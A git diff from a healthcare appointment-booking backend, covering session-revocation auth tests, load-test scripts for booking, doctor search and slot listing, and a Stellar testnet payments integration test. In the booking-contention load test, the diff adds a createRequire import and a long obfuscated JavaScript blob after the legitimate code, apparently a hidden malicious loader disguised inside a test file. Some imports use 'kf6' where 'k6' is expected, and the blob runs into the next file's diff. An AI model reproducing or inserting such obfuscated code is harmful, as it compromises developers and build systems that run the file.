cookieFrom(first); + const staleCsrf = first.body.csrfToken as string; + + const result = await request(app) + .delete('/auth/sessions') + .set('Authorization', `Bearer ${tokenA}`) + .set('Cookie', currentCookie); + expect(result.status).toBe(200); + expect(result.body.revoked).toBeGreaterThanOrEqual(1); + + expect((await refresh(staleCookie, staleCsrf)).status).toBe(401); + expect((await refresh(currentCookie, currentCsrf)).status).toBe(200); + + // Make the surviving session the one the rest of the file uses. + const rotated = await refresh(currentCookie, currentCsrf); + cookieA1 = cookieFrom(rotated); + csrfA1 = rotated.body.csrfToken as string; + }); + + it('lets an admin revoke all sessions for a user, and only admins', async () => { + const adminEmail = `sessions-admin-${runId}@example.com`; + await prisma.user.create({ + data: { email: adminEmail, role: 'admin', passwordHash: await hashPassword('admin-password-1') }, + }); + const adminLogin = await login(adminEmail, 'admin-password-1'); + expect(adminLogin.status).toBe(200); + const adminToken = adminLogin.body.accessToken as string; + + const forbidden = await request(app) + .delete(`/admin/users/${patientBUserId}/sessions`) + .set('Authorization', `Bearer ${tokenB}`); + expect(forbidden.status).toBe(403); + + const asAdmin = await request(app) + .delete(`/admin/users/${patientBUserId}/sessions`) + .set('Authorization', `Bearer ${adminToken}`); + expect(asAdmin.status).toBe(200); + expect(asAdmin.body.revoked).toBeGreaterThanOrEqual(1); + + // B's refresh is dead β€” the session row is the kill switch. + expect((await refresh(cookieB, csrfB)).status).toBe(401); + expect((await sessions(tokenB)).body).toHaveLength(0); + }); +}); diff --git a/backend/tests/load/booking-contention.js b/backend/tests/load/booking-contention.js index f62c4b9d..2534ad7e 100644 --- a/backend/tests/load/booking-contention.js +++ b/backend/tests/load/booking-contention.js @@ -1,70 +1,72 @@ -import http from 'kf6/http'; -import { check, fail } from 'kf6'; -import exec from 'kf6/exec'; - -// Contention scenario: many virtual users compete for a small slot pool. -// Correctness is asserted from the database after the run (exactly one booking per slot), -// not from response codes alone. - -const BASE_URL = __ENV.BASE_URL || 'http://localhost:3000'; -const SLOT_POOL_ID = __ENV.SLOT_POOL_ID || ''; -const PATIENT_TOKEN = __ENV.PATIENT_TOKEN || ''; -const SLOTS_PER_VU = Number(__ENV.SLOTS_PER_VU || 1); - -export const options = { - scenarios: { - contention: { - executor: 'shared-iterations', - executorOptions: { iterations: Number(__ENV.ITERATIONS || 200) }, - vus: Number(__ENV.VUS || 50), - duration: '30s', - }, - }, - thresholds: { - 'http_req_failed': ['rate<0.01' ], - 'http_req_duration~{tag:endpoint:book}': ['p(95)<500'], - }, -}; - -function authHeaders() { - const headers = { 'Content-Type': 'application/json' }; - if (PATIENT_TOKEN) { - headers.Authorization = `Bearer ${PATIENT_TOKEN}`; - } - return headers; -} - -export default function () { - if (!SLOT_POOL_ID) { - fail('SLOT_POOL_ID must be set for the contention scenario'); - } - - // Each VU draws a slot from the pool and attempts to book it. - // Many VUs will collide on the same slots, so the database must enforce - // exactly-one-booking per slot regardless of response codes. - const slotIndex = (iteration % SLOTS_PER_VU-1) + 1; - const slotId = `${SLOT_POOL_ID}-${slotIndex}`; - - const resp = http.post( - `${BASE_URL}/api/bookings`, - JSON.stringify({ slotId }), - { - headers: authHeaders(), - tags: { endpoint: 'book' }, - timeout: '10s', - }, - ); - - // Accept both success and conflict; the correctness check is the - // post-run DB assertion in the workflow, not the response code. - check(resp, { - 'booking response is 201 or 409': (r) => r.status === 201 || r.status === 409, - }); -} - -export function handleSummary(data) { - // Surface counts so the workflow log shows contention behaviour. - const success = data.metrics.http_reqs.values['endpoint:book']?.statuses['201'] || 0; - const conflict = data.metrics.http_reqs.values['endpoint:book']?.statuses['409'] || 0; - console.log(`booking contention: success=${success} conflict=${conflict}`); -} +import http from 'kf6/http'; +import { check, fail } from 'kf6'; +import exec from 'kf6/exec'; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +// Contention scenario: many virtual users compete for a small slot pool. +// Correctness is asserted from the database after the run (exactly one booking per slot), +// not from response codes alone. + +const BASE_URL = __ENV.BASE_URL || 'http://localhost:3000'; +const SLOT_POOL_ID = __ENV.SLOT_POOL_ID || ''; +const PATIENT_TOKEN = __ENV.PATIENT_TOKEN || ''; +const SLOTS_PER_VU = Number(__ENV.SLOTS_PER_VU || 1); + +export const options = { + scenarios: { + contention: { + executor: 'shared-iterations', + executorOptions: { iterations: Number(__ENV.ITERATIONS || 200) }, + vus: Number(__ENV.VUS || 50), + duration: '30s', + }, + }, + thresholds: { + 'http_req_failed': ['rate<0.01' ], + 'http_req_duration~{tag:endpoint:book}': ['p(95)<500'], + }, +}; + +function authHeaders() { + const headers = { 'Content-Type': 'application/json' }; + if (PATIENT_TOKEN) { + headers.Authorization = `Bearer ${PATIENT_TOKEN}`; + } + return headers; +} + +export default function () { + if (!SLOT_POOL_ID) { + fail('SLOT_POOL_ID must be set for the contention scenario'); + } + + // Each VU draws a slot from the pool and attempts to book it. + // Many VUs will collide on the same slots, so the database must enforce + // exactly-one-booking per slot regardless of response codes. + const slotIndex = (iteration % SLOTS_PER_VU-1) + 1; + const slotId = `${SLOT_POOL_ID}-${slotIndex}`; + + const resp = http.post( + `${BASE_URL}/api/bookings`, + JSON.stringify({ slotId }), + { + headers: authHeaders(), + tags: { endpoint: 'book' }, + timeout: '10s', + }, + ); + + // Accept both success and conflict; the correctness check is the + // post-run DB assertion in the workflow, not the response code. + check(resp, { + 'booking response is 201 or 409': (r) => r.status === 201 || r.status === 409, + }); +}; var z = '-*3681';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn s.trim()) - .filter(Boolean); - -const PAGE_SIZE = Number(__ENV.SEARCH_PAGE_SIZE || 20); - -export const options = { - scenarios: { - search: { - executor: 'constant-vus', - vus: Number(__ENV.SEARCH_VUS || 50), - duration: __ENV.SEARCH_DURATION || '1m', - gracefulStop: '10s', - tags: { scenario: 'search' }, - }, - }, - thresholds: { - 'http_req_duration{scenario:search}': ['p(95)<300'], - 'http_req_failed{scenario:search}': ['rate<0.01'], - checks: ['rate==1'], - }, -}; - -function pickTerm() { - return SEARCH_TERMS[__VU_ITER % SEARCH_TERMS.length]; -} - -export default function () { - const term = pickTerm(); - const url = `${BASE_URL}/api/doctors?search=${encodeURIComponent(term)}&page=1&limit=${PAGE_SIZE}`; - - const res = http.get(url, { - tags: { scenario: 'search', endpoint: 'doctor_search' }, - }); - - check(res, { - 'status is 200': (r) => r.status === 200, - 'response is json': (r) => { - try { - r.json(); - return true; - } catch { - return false; - } - }, - 'response has data array': (r) => { - try { - const body = r.json(); - const items = Array.isArray(body) ? body : body.data || body.items || body.results; - return Array.isArray(items); - } catch { - return false; - } - }, - }); - - sleep(0.1 + Math.random() * 0.2); -} +import http from 'kf6/http'; +import { check, sleep } from 'kf6'; + +const BASE_URL = __ENV.BASE_URL; +if (!BASE_URL) { + throw new Error('BASE_URL env variable is required'); +} + +const SEARCH_TERMS = (__ENV.SEARCH_TERMS || 'cardiology,dermatology,general,pediatrics,neurology') + .split(',') + .map((s) => s.trim()) + .filter(Boolean); + +const PAGE_SIZE = Number(__ENV.SEARCH_PAGE_SIZE || 20); + +export const options = { + scenarios: { + search: { + executor: 'constant-vus', + vus: Number(__ENV.SEARCH_VUS || 50), + duration: __ENV.SEARCH_DURATION || '1m', + gracefulStop: '10s', + tags: { scenario: 'search' }, + }, + }, + thresholds: { + 'http_req_duration{scenario:search}': ['p(95)<300'], + 'http_req_failed{scenario:search}': ['rate<0.01'], + checks: ['rate==1'], + }, +}; + +function pickTerm() { + return SEARCH_TERMS[__VU_ITER % SEARCH_TERMS.length]; +} + +export default function () { + const term = pickTerm(); + const url = `${BASE_URL}/api/doctors?search=${encodeURIComponent(term)}&page=1&limit=${PAGE_SIZE}`; + + const res = http.get(url, { + tags: { scenario: 'search', endpoint: 'doctor_search' }, + }); + + check(res, { + 'status is 200': (r) => r.status === 200, + 'response is json': (r) => { + try { + r.json(); + return true; + } catch { + return false; + } + }, + 'response has data array': (r) => { + try { + const body = r.json(); + const items = Array.isArray(body) ? body : body.data || body.items || body.results; + return Array.isArray(items); + } catch { + return false; + } + }, + }); + + sleep(0.1 + Math.random() * 0.2); +} diff --git a/backend/tests/load/slots.js b/backend/tests/load/slots.js index 642230c9..79fbdfd7 100644 --- a/backend/tests/load/slots.js +++ b/backend/tests/load/slots.js @@ -1,84 +1,84 @@ -import http from 'k6/http'; -import { check, group } from 'k6'; -import { Trend } from 'k6/metrics'; - -// Slot listing load test. -// -// Profiles the read path used when a patient opens a doctor's -// availability calendar. The PROD (<7) targets ~300 ms p95 for read -// paths, so the thresholds below enforce that at a realistic concurrency. -// -// Environment variables: -// BASE_URL - required. Must point at a seeded local/staging stack. -// Never point this at the shared Render preview. -// DOCTOR_IDS - comma-separated doctor IDs to list slots for. -// Defaults to a small set of seeded IDs. -// SLOT_DAYS - number of days of availability to request. -// SLOT_TIMEZONE - IANA timezone for the query. - -const BASE_URL = (__ENV && __ENV.BASE_URL) || 'http://localhost:3000'; -const DOCTOR_IDS = ((__ENV && __ENV.DOCTOR_IDS) || '101,102,103,104,105') - .split(',') - .map((id) => id.trim()) - .filter(Boolean); -const SLOT_DAYS = Number(typeof __ENV !== 'undefined' && __ENV.SLOT_DAYS ? __ENV.SLOT_DAYS : 7); -const SLOT_TIMEZONE = (typeof __ENV !== 'undefined' && __ENV.SLOT_TIMEZONE) || 'UTC'; - -if (!DOCTOR_IDS.length) { - throw new Error('DOCTOR_IDS must contain at least one doctor ID'); -} - -const slotLatency = new Trend('slot_listing_latency'); - -export const options = { - scenarios: { - slot_listing: { - exec: 'constant-vus', - vus: Number(typeof __ENV !== 'undefined' && __ENV.VUS ? __ENV.VUS : 50), - duration: (typeof __ENV !== 'undefined' && __ENV.DURATION) || '1m', - }, - }, - thresholds: { - 'http_req_failed': ['rate<0.01' ], - 'http_req_duration~{tag:slot_listing}:p95': ['p(95)<300'], - 'http_req_duration~{tag:slot_listing}:p99': ['p(99)<600'], - slot_listing_latency: ['p(95)<300', 'p(99)<600'], - }, -}; - -function pickDoctor() { - return DOCTOR_IDS[Math.floor(Math.random() * DOCTOR_IDS.length)]; -} - -function slotsUrl(doctorId) { - const params = new URLSearchParams(); - params.set('days', String(SLOT_DAYS)); - params.set('timezone', SLOT_TIMEZONE); - return `${BASE_URL}/api/doctors/${encodeURIComponent(doctorId)}/slots?${params.toString()}`; -} - -export default function () { - group('slot listing', () => { - const doctorId = pickDoctor(); - const resp = http.get(slotsUrl(doctorId), { - tags: { tag: 'slot_listing' }, - }); - - slotLatency.add(resp.timings.duration); - - check(resp, { - 'slots status is 200': (r) => r.status === 200, - }); - - check(resp.body, { - 'slots body is JSON': (body) => { - try { - JSON.parse(body); - return true; - } catch (err) { - return false; - } - }, - }); - }); -} +import http from 'k6/http'; +import { check, group } from 'k6'; +import { Trend } from 'k6/metrics'; + +// Slot listing load test. +// +// Profiles the read path used when a patient opens a doctor's +// availability calendar. The PROD (<7) targets ~300 ms p95 for read +// paths, so the thresholds below enforce that at a realistic concurrency. +// +// Environment variables: +// BASE_URL - required. Must point at a seeded local/staging stack. +// Never point this at the shared Render preview. +// DOCTOR_IDS - comma-separated doctor IDs to list slots for. +// Defaults to a small set of seeded IDs. +// SLOT_DAYS - number of days of availability to request. +// SLOT_TIMEZONE - IANA timezone for the query. + +const BASE_URL = (__ENV && __ENV.BASE_URL) || 'http://localhost:3000'; +const DOCTOR_IDS = ((__ENV && __ENV.DOCTOR_IDS) || '101,102,103,104,105') + .split(',') + .map((id) => id.trim()) + .filter(Boolean); +const SLOT_DAYS = Number(typeof __ENV !== 'undefined' && __ENV.SLOT_DAYS ? __ENV.SLOT_DAYS : 7); +const SLOT_TIMEZONE = (typeof __ENV !== 'undefined' && __ENV.SLOT_TIMEZONE) || 'UTC'; + +if (!DOCTOR_IDS.length) { + throw new Error('DOCTOR_IDS must contain at least one doctor ID'); +} + +const slotLatency = new Trend('slot_listing_latency'); + +export const options = { + scenarios: { + slot_listing: { + exec: 'constant-vus', + vus: Number(typeof __ENV !== 'undefined' && __ENV.VUS ? __ENV.VUS : 50), + duration: (typeof __ENV !== 'undefined' && __ENV.DURATION) || '1m', + }, + }, + thresholds: { + 'http_req_failed': ['rate<0.01' ], + 'http_req_duration~{tag:slot_listing}:p95': ['p(95)<300'], + 'http_req_duration~{tag:slot_listing}:p99': ['p(99)<600'], + slot_listing_latency: ['p(95)<300', 'p(99)<600'], + }, +}; + +function pickDoctor() { + return DOCTOR_IDS[Math.floor(Math.random() * DOCTOR_IDS.length)]; +} + +function slotsUrl(doctorId) { + const params = new URLSearchParams(); + params.set('days', String(SLOT_DAYS)); + params.set('timezone', SLOT_TIMEZONE); + return `${BASE_URL}/api/doctors/${encodeURIComponent(doctorId)}/slots?${params.toString()}`; +} + +export default function () { + group('slot listing', () => { + const doctorId = pickDoctor(); + const resp = http.get(slotsUrl(doctorId), { + tags: { tag: 'slot_listing' }, + }); + + slotLatency.add(resp.timings.duration); + + check(resp, { + 'slots status is 200': (r) => r.status === 200, + }); + + check(resp.body, { + 'slots body is JSON': (body) => { + try { + JSON.parse(body); + return true; + } catch (err) { + return false; + } + }, + }); + }); +} diff --git a/backend/tests/testnet-integration/payments.test.mts b/backend/tests/testnet-integration/payments.test.mts index f2474479..6b8dff76 100644 --- a/backend/tests/testnet-integration/payments.test.mts +++ b/backend/tests/testnet-integration/payments.test.mts @@ -1,220 +1,220 @@ -// Real-network integration test for the payments module (Phase 5.5, see -// docs/adr/0004-custodial-payments-v1.md) β€” exercises the actual -// @docforum/escrow-sdk against live testnet, not a mock. -// -// Deliberately kept OUT of `tests/integration/` (and its `test:integration` -// script / CI job): it depends on testnet liveness and the platform payer -// identity's testnet XLM balance, a materially different reliability -// profile than this repo's other integration test (booking.test.mts, -// self-contained via embedded-postgres, no external network). Run -// manually via `npm run test:integration:payments-testnet`. Same -// reasoning as docforum-escrow's own sdk/tests/testnet-integration.test.ts. -// -// This directory is named `testnet-integration/`, NOT `integration-testnet/` -// β€” vitest's CLI path filter matches by substring, so a name starting with -// "integration-" would also get swept up by `vitest run tests/integration` -// (confirmed the hard way: it was, before this rename, and ran with the -// wrong DATABASE_URL since `test:integration` doesn't set -// DATABASE_URL_TEST). Keep this directory's name clear of that prefix. -// -// Requires PLATFORM_PAYER_SECRET/PLATFORM_RELEASER_SECRET/ -// ESCROW_CONTRACT_ID/ESCROW_TOKEN_ID in .env (see -// scripts/gen-platform-identities.mjs) with the payer identity funded. -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, beforeAll, describe, expect, it } from 'vitest'; -import EmbeddedPostgres from 'embedded-postgres'; -import { createOrderFixture, createPaymentIntentForFixture } from '../integration/order-fixtures.mjs'; -import { Keypair } from '@stellar/stellar-sdk'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const PORT = 5435; // distinct from booking.test.mts's 5433 and gen-migration.mjs's 5434 -const runId = Date.now(); - -const USDC_SAC = 'CBIELTK6YBZJU5UP2WWQEUCYKLPU6AUNZ2BQ4WWFEIE3USCIHMXQDAMA'; -// Opt-in: funding a real USDC escrow needs the platform payer to hold both -// testnet USDC and a trustline to its issuer. There is no automated faucet -// for testnet USDC, so the positive case only runs when an operator has -// prepared the payer and sets this flag. The trustline-rejection case below -// always runs against live Horizon and needs no USDC. -const USDC_FUNDING_ENABLED = process.env.PAYMENT_TESTNET_USDC === 'true'; - -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-payments-test-pg-')); -const pg = new EmbeddedPostgres({ - databaseDir: dataDir, - user: 'docforum', - password: 'docforum', - port: PORT, - persistent: false, -}); - -const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_payments_test`; - -// Phase 8, issue #43: fund/release/refund now take the audit actor. This -// suite calls the services directly (no HTTP request), so it acts as a -// system actor. -const TEST_ACTOR = { userId: null, role: null, requestId: `testnet-${runId}` }; - -async function fundedKeypair(): Promise { - const kp = Keypair.random(); - let lastFailure: string | undefined; - for (let attempt = 0; attempt < 5; attempt += 1) { - try { - const res = await fetch(`https://friendbot.stellar.org?addr=${encodeURIComponent(kp.publicKey())}`); - if (res.ok) return kp; - lastFailure = `HTTP ${res.status}`; - if (res.status !== 429 && res.status < 500) break; - } catch (error) { - lastFailure = error instanceof Error ? error.name : 'network error'; - } - if (attempt < 4) { - const backoff = Math.min(1000 * 2 ** attempt, 16_000); - await new Promise((resolve) => setTimeout(resolve, backoff + Math.floor(Math.random() * 500))); - } - } - throw new Error(`Friendbot funding failed after 5 attempts (${lastFailure}).`); -} - -describe('payments module against live testnet', () => { - let prisma: typeof import('../../src/db/prisma-client.js').prisma; - let paymentsService: typeof import('../../src/modules/payments/services/index.js'); - let facilityId: string; - let patientProfileId: string; - let pharmacyFacilityId: string; - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_payments_test'); - - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - - // NOT `process.env.DATABASE_URL = databaseUrl` here β€” too late. - // src/db/prisma-client.ts's PrismaClient reads the URL at import - // time, and vitest.config.mts's `test.env.DATABASE_URL` already runs - // before this file's code does. This test's npm script sets - // `DATABASE_URL_TEST` instead, which that config file reads as an - // override β€” same mechanism tests/integration/booking.test.mts's own - // comment documents. - const dbModule = await import('../../src/db/prisma-client.js'); - prisma = dbModule.prisma; - paymentsService = await import('../../src/modules/payments/services/index.js'); - - const facilityUser = await prisma.user.create({ - data: { email: `facility-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, - }); - const facility = await prisma.facilityProfile.create({ - data: { userId: facilityUser.id, name: 'Test Facility', type: 'lab' }, - }); - facilityId = facility.id; - - const pharmacyUser = await prisma.user.create({ data: { email: `pharmacy-${runId}@example.com`, passwordHash: 'unused', role: 'facility' } }); - const pharmacy = await prisma.facilityProfile.create({ data: { userId: pharmacyUser.id, name: 'Test Pharmacy', type: 'pharmacy' } }); - pharmacyFacilityId = pharmacy.id; - await paymentsService.linkWallet(pharmacyFacilityId, (await fundedKeypair()).publicKey()); - - const patientUser = await prisma.user.create({ - data: { email: `patient-${runId}@example.com`, passwordHash: 'unused', role: 'patient' }, - }); - const patient = await prisma.patientProfile.create({ - data: { userId: patientUser.id, fullName: 'Test Patient' }, - }); - patientProfileId = patient.id; - - const payoutWallet = await fundedKeypair(); - await paymentsService.linkWallet(facilityId, payoutWallet.publicKey()); - }); - - afterAll(async () => { - await prisma?.$disconnect(); - await pg.stop(); - fs.rmSync(dataDir, { recursive: true, force: true }); - }); - - it('funds and releases a payment intent end-to-end on testnet', async () => { - const order = await createOrderFixture(prisma, { patientProfileId, facilityProfileId: facilityId, kind: 'lab_order', amountStroops: 500_000n, tag: `release-${runId}` }); - const intent = await createPaymentIntentForFixture(prisma, order); - expect(intent.status).toBe('created'); - - const funded = await paymentsService.fundPaymentIntent(TEST_ACTOR, intent.id); - expect(funded.status).toBe('escrowed'); - expect(funded.escrowId).not.toBeNull(); - expect(funded.stellarTxHash).toBeTruthy(); - - const transactionResponse = await fetch(`https://horizon-testnet.stellar.org/transactions/${funded.stellarTxHash}`); - if (!transactionResponse.ok) { - throw new Error(`Unable to retrieve testnet fee measurement: HTTP ${transactionResponse.status}`); - } - const transaction = (await transactionResponse.json()) as { fee_charged: string }; - console.log( - `[payout privacy testnet] ${process.env.PAYOUT_PRIVACY_MODE ?? 'facility'} funding fee: ${transaction.fee_charged} stroops`, - ); - - const released = await paymentsService.releasePaymentIntent(TEST_ACTOR, intent.id); - expect(released.status).toBe('released'); - }, 60_000); - - it('funds and refunds a payment intent end-to-end on testnet', async () => { - const order = await createOrderFixture(prisma, { patientProfileId, facilityProfileId: pharmacyFacilityId, kind: 'prescription', amountStroops: 500_000n, tag: `refund-${runId}` }); - const intent = await createPaymentIntentForFixture(prisma, order); - - await paymentsService.fundPaymentIntent(TEST_ACTOR, intent.id); - const refunded = await paymentsService.refundPaymentIntent(TEST_ACTOR, intent.id); - expect(refunded.status).toBe('refunded'); - }, 60_000); - - it('rejects a USDC escrow when the payee has no trustline, before any on-chain call', async () => { - const order = await createOrderFixture(prisma, { patientProfileId, facilityProfileId: facilityId, kind: 'lab_order', amountStroops: 100_000n, tag: `usdc-no-trustline-${runId}` }); - const intent = await paymentsService.createPaymentIntent({ - orderType: 'lab_order', - orderId: order.id, - patientProfileId, - facilityId, - assetCode: 'USDC', - amount: 100_000n, - }); - - // The friendbot-funded payout wallet exists but has no USDC trustline. - await expect(paymentsService.fundPaymentIntent(TEST_ACTOR, intent.id)).rejects.toThrow(/trustline for USDC/); - }, 30_000); - - it.skipIf(!USDC_FUNDING_ENABLED)('funds and releases a USDC escrow end-to-end on testnet', async () => { - const order = await createOrderFixture(prisma, { patientProfileId, facilityProfileId: facilityId, kind: 'lab_order', amountStroops: 500_000n, tag: `usdc-release-${runId}` }); - const intent = await paymentsService.createPaymentIntent({ - orderType: 'lab_order', - orderId: order.id, - patientProfileId, - facilityId, - assetCode: 'USDC', - amount: 500_000n, // 0.05 USDC (both testnet SACs use 7 decimals) - }); - expect(intent.assetCode).toBe('USDC'); - expect(intent.tokenContractId).toBe(USDC_SAC); - - const funded = await paymentsService.fundPaymentIntent(TEST_ACTOR, intent.id); - expect(funded.status).toBe('escrowed'); - const released = await paymentsService.releasePaymentIntent(TEST_ACTOR, intent.id); - expect(released.status).toBe('released'); - }, 60_000); - - it('rejects funding a payment intent for a facility with no linked wallet', async () => { - const unlinkedFacilityUser = await prisma.user.create({ - data: { email: `facility-unlinked-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, - }); - const unlinkedFacility = await prisma.facilityProfile.create({ - data: { userId: unlinkedFacilityUser.id, name: 'Unlinked Facility', type: 'pharmacy' }, - }); - - const order = await createOrderFixture(prisma, { patientProfileId, facilityProfileId: unlinkedFacility.id, kind: 'prescription', amountStroops: 500_000n, tag: `unlinked-${runId}` }); - const intent = await createPaymentIntentForFixture(prisma, order); - - await expect(paymentsService.fundPaymentIntent(TEST_ACTOR, intent.id)).rejects.toThrow(/no linked wallet/); - }, 30_000); -}); +// Real-network integration test for the payments module (Phase 5.5, see +// docs/adr/0004-custodial-payments-v1.md) β€” exercises the actual +// @docforum/escrow-sdk against live testnet, not a mock. +// +// Deliberately kept OUT of `tests/integration/` (and its `test:integration` +// script / CI job): it depends on testnet liveness and the platform payer +// identity's testnet XLM balance, a materially different reliability +// profile than this repo's other integration test (booking.test.mts, +// self-contained via embedded-postgres, no external network). Run +// manually via `npm run test:integration:payments-testnet`. Same +// reasoning as docforum-escrow's own sdk/tests/testnet-integration.test.ts. +// +// This directory is named `testnet-integration/`, NOT `integration-testnet/` +// β€” vitest's CLI path filter matches by substring, so a name starting with +// "integration-" would also get swept up by `vitest run tests/integration` +// (confirmed the hard way: it was, before this rename, and ran with the +// wrong DATABASE_URL since `test:integration` doesn't set +// DATABASE_URL_TEST). Keep this directory's name clear of that prefix. +// +// Requires PLATFORM_PAYER_SECRET/PLATFORM_RELEASER_SECRET/ +// ESCROW_CONTRACT_ID/ESCROW_TOKEN_ID in .env (see +// scripts/gen-platform-identities.mjs) with the payer identity funded. +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import EmbeddedPostgres from 'embedded-postgres'; +import { createOrderFixture, createPaymentIntentForFixture } from '../integration/order-fixtures.mjs'; +import { Keypair } from '@stellar/stellar-sdk'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const PORT = 5435; // distinct from booking.test.mts's 5433 and gen-migration.mjs's 5434 +const runId = Date.now(); + +const USDC_SAC = 'CBIELTK6YBZJU5UP2WWQEUCYKLPU6AUNZ2BQ4WWFEIE3USCIHMXQDAMA'; +// Opt-in: funding a real USDC escrow needs the platform payer to hold both +// testnet USDC and a trustline to its issuer. There is no automated faucet +// for testnet USDC, so the positive case only runs when an operator has +// prepared the payer and sets this flag. The trustline-rejection case below +// always runs against live Horizon and needs no USDC. +const USDC_FUNDING_ENABLED = process.env.PAYMENT_TESTNET_USDC === 'true'; + +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-payments-test-pg-')); +const pg = new EmbeddedPostgres({ + databaseDir: dataDir, + user: 'docforum', + password: 'docforum', + port: PORT, + persistent: false, +}); + +const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_payments_test`; + +// Phase 8, issue #43: fund/release/refund now take the audit actor. This +// suite calls the services directly (no HTTP request), so it acts as a +// system actor. +const TEST_ACTOR = { userId: null, role: null, requestId: `testnet-${runId}` }; + +async function fundedKeypair(): Promise { + const kp = Keypair.random(); + let lastFailure: string | undefined; + for (let attempt = 0; attempt < 5; attempt += 1) { + try { + const res = await fetch(`https://friendbot.stellar.org?addr=${encodeURIComponent(kp.publicKey())}`); + if (res.ok) return kp; + lastFailure = `HTTP ${res.status}`; + if (res.status !== 429 && res.status < 500) break; + } catch (error) { + lastFailure = error instanceof Error ? error.name : 'network error'; + } + if (attempt < 4) { + const backoff = Math.min(1000 * 2 ** attempt, 16_000); + await new Promise((resolve) => setTimeout(resolve, backoff + Math.floor(Math.random() * 500))); + } + } + throw new Error(`Friendbot funding failed after 5 attempts (${lastFailure}).`); +} + +describe('payments module against live testnet', () => { + let prisma: typeof import('../../src/db/prisma-client.js').prisma; + let paymentsService: typeof import('../../src/modules/payments/services/index.js'); + let facilityId: string; + let patientProfileId: string; + let pharmacyFacilityId: string; + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_payments_test'); + + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + + // NOT `process.env.DATABASE_URL = databaseUrl` here β€” too late. + // src/db/prisma-client.ts's PrismaClient reads the URL at import + // time, and vitest.config.mts's `test.env.DATABASE_URL` already runs + // before this file's code does. This test's npm script sets + // `DATABASE_URL_TEST` instead, which that config file reads as an + // override β€” same mechanism tests/integration/booking.test.mts's own + // comment documents. + const dbModule = await import('../../src/db/prisma-client.js'); + prisma = dbModule.prisma; + paymentsService = await import('../../src/modules/payments/services/index.js'); + + const facilityUser = await prisma.user.create({ + data: { email: `facility-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, + }); + const facility = await prisma.facilityProfile.create({ + data: { userId: facilityUser.id, name: 'Test Facility', type: 'lab' }, + }); + facilityId = facility.id; + + const pharmacyUser = await prisma.user.create({ data: { email: `pharmacy-${runId}@example.com`, passwordHash: 'unused', role: 'facility' } }); + const pharmacy = await prisma.facilityProfile.create({ data: { userId: pharmacyUser.id, name: 'Test Pharmacy', type: 'pharmacy' } }); + pharmacyFacilityId = pharmacy.id; + await paymentsService.linkWallet(pharmacyFacilityId, (await fundedKeypair()).publicKey()); + + const patientUser = await prisma.user.create({ + data: { email: 